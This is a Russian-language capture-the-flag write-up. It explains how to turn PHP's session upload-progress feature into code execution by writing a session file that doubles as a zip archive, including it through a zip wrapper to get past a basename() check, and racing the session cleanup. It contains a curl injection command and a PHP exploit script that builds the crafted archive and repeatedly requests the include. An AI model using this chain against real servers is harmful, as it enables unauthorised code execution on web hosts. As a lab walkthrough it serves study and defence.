Прохождение
Анализ:
Поскольку логи недоступны и на сайте нет скриптов аплоада, ищем способы сформировать файл с полезной нагрузкой.
Open_basedir разрешает работу в
/tmp и в
каталоге сессий, а в каталог сайта чмоды писать не дают, да и нечем.
Можем инициировать загрузку файла и пытаться сбрутить имя создающегося темп-файла.
Но в конце прошлого года был обнаружен более интересный механизм, попробуем поковырять его.
Идея:
Можно задействовать механизм принудительного создания сессии и проинклюдить ее.
Затею нетрудно реализовать в системе с дефолтными настройками, на рдоте тоже была
заметка на эту тему, поэтому не экзотика, тестим и разбираемся - чего и как.
Для начала смотрим
маны и готовим localhost, php v. >=5.4 и для удобства временно установим
Код:
session.upload_progress.cleanup = Off
это не будет очищать сессию и мы сможет исследовать содержимое.
Отправляем запрос
Код:
curl http://127.0.0.1/index.php -H "Cookie: PHPSESSID=test" -F "PHP_SESSION_UPLOAD_PROGRESS=blahblahblah" -F "file=@/tmp/up.txt"
и получаем сессию с именем
sess_test и содержимым (интересует только начало)
Код:
upload_progress_blahblahblah|a:5:{s:10:"start_time";i:1561714798;s:14:"content_length";i:297312;s:15:"bytes_processed";i:297312;s:4:"done";
Где видим свою начинку
blahblahblah.
Т.е. можем вставить произвольный php-код и получаем файл с заданным именем и нужной начинкой
Код:
upload_progress_ZZZ|a:5:{s:10:"start_time";i:1561718417;s:14:"content_length";i:6931748;s:15:"bytes_processed";i:6931748;s:4:
Первая полезняшка.
Теперь возвращаем session.upload_progress.cleanup = On
и двигаемся дальше.
Если бы не
Код:
if(isset($_GET['f']) && basename($_GET['f'])==='test.php')
то просто проинклюдили бы сессию с заранее заданным именем, но нужно байпасить basename().
Тут, к сожалению, известные приемы закончились и дальше придется ресерчить самим.
Назвать сессию - 'test.php' мы не можем, точка - недопустимый символ в имени сессии.
Поэтому вспоминаем, как в таске #7 мы работали с архивами и помещали в них нужные файлы, как продолжение файловой системы.
И
basename() будет применен уже не к файлу архива, а к этим файлам, когда мы их запросим.
Если контролируемую часть сессии сформировать так, чтобы файл сессии стал валидным архивом, то можно проинклюдить содержимое архива, используя соответствующий враппер.
Мысль хорошая, тестим.
Phar не подходит по двум причинам - проверяет целостность содержимого и в имени файла обязательно должна быть точка (и хотя бы один символ после нее).
Но вот
zip нам пригодится.
Мы уже умеем добавлять произвольный префикс к нему, да и точка в имени не обязательна.
Аналогично можно добавить и суффикс, но этого делать не придется, потому, что есть еще одно замечательное свойство - добавление данных в конец готового архива не ломает его, он их просто игнорирует, не видит.
И эти данные становятся частью файла, но не частью архива.
Итого имеем неизменяемое начало файла, заголовок сессии (из которого и сформируем архив) и остальную, изменяемую часть сессии.
И вот она - магия!
Один и тот же файл воспринимается одновременно и как валидный архив с полезной начинкой и как файл сессии, с которым адекватно работает php.
Остается решить
третью проблему, сессия очищается по окончании загрузки файла и нужно ловить момент, когда полезная начинка существует в файле сессии.
Если мониторить размер файла сессии, то происходит примерно следующее, пока работает скрипт загрузки.
---=======-----
где:
- сессия пуста
= файл сессии содержит полезную начинку
Можно просто поиграть в гонки, сгенерить много загрузок и много инклюдов, какой-нибудь да сработает.
Можно даже один раз запустить загрузку большого файла и множеством запрсов ловить нужное состояние сессии.
Мы примерно по этому пути и пойдем, но сделаем процесс более контролируемым и надежным.
Реализация
Php - однопоточный по своей природе, а нам нужно два потока запускать и контролировать, поэтому лучше использовать чего-нибудь другое.
Хотя и тут можно скозлоумничать.
На неблокирующих сокетах, или попробовать мультикурл.
А давайте попробуем.
Оказывается вполне даже работает.
Инициируем два соединения, первое аплоадит файл, второе инклюдит сессию через враппер.
Код:
curl_setopt($ch1, CURLOPT_URL,$url1);
curl_setopt($ch2, CURLOPT_URL,$url2);
Приведу несколько модифицированное решение, не потому, что оно лучше, а чтобы показать, что в момент, когда мультикурл переключается между соединениями (цикл do while), мы можем выполнять некоторые дополнительные действия (проверки), что может быть полезным и в других случаях, а нам сейчас дает возможность отловить состояние, когда файл сессии содержит нужные данные.
Код:
getshell(),
'file' => new CurlFile($fup),
];
mpmc($u,$p);
#===
function mpmc($url,$post=array(), $cookie='PHPSESSID=task8') {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_TIMEOUT, 18);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
curl_setopt($ch, CURLOPT_COOKIE,$cookie);
$mh = curl_multi_init();
curl_multi_add_handle($mh,$ch);
$running=null;
do {
curl_multi_exec($mh, $running);
$fg = @file_get_contents($url);
if (strlen($fg)>1000) {
echo $fg;
die;
}
} while ($running > 0);
curl_multi_remove_handle($mh,$ch);
curl_multi_close($mh);
}
#===
function getshell(){
$evil_code='';
$header=ini_get("session.upload_progress.prefix");
$footer="";
$local_path_to_archive="/tmp/test.zip";
$inc_file="/tmp/test.php";
@unlink($local_path_to_archive);
file_put_contents($inc_file,$evil_code);
$zip = new ZipArchive();
if ($zip->open($local_path_to_archive, ZIPARCHIVE::CREATE)!==TRUE) {
exit("could not open file $local_path_to_archive\n");
}
$zip->addFromString($header,"");
$zip->setArchiveComment($footer);
$zip->addFile($inc_file,"/tmp/test.php");
$zip->close();
@unlink($inc_file);
$r=preg_replace("/$header/si", "", file_get_contents($local_path_to_archive),1);
return $r;
}
Здесь
curl_setopt($ch2, CURLOPT_URL,$url2); выпилен, поскольку в проверке уже используется
file_get_contents($url), а мультикурл все-равно производит переключение, даже если второе соединение отсутствует.
Кстати, в процессе тестов обнаружился такой момент, пустил соединение через прокси Charles и поведение сессии на сервере таска изменилось, файл сессии не очищался еще продолжительное время после окончания работы скрипта загрузки.
Так что просто последовательное выполнение запроса загрузки и следом запроса на инклюд - работало на ура.
Без всякого шаманства.
Не "конфетка", но тоже интересно.